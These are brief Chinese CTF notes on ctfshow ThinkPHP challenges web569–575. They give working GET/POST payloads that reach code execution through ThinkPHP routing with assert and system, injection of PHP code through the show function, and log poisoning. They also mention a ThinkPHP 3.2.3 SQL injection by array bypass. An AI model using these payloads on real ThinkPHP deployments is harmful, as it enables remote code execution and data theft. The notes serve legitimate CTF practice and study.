thinkphp专题

web569

考察tp的路由模式

GET ?s=Admin/Login/ctfshowLogin

web570

目录穿越靠GET很难弄,需要POST穿越目录

GET ?s=/ctfshow/assert/assert($_POST['shell'])
POST shell=system('cat /flag_is_here')

web571

show函数造成命令执行

GET /?s=Home/index/index&n=<?php var_dump(system('cat /fl*')); ?>

web572

爆破log,TP3的log文件按照以下格式存储在该目录中。

/Application/Runtime/Logs/Home/21_§04§_§15§.log
/index.php?showctf=<?php var_dump(system('cat /fl*')); ?>

web573

thinkphp3.2.3 SQL注入漏洞复现,利用数组绕过过滤函数,在3.2.4修复

web574

exp,本质上还是用括号闭合, where需要多了一次括号

web575

Last updated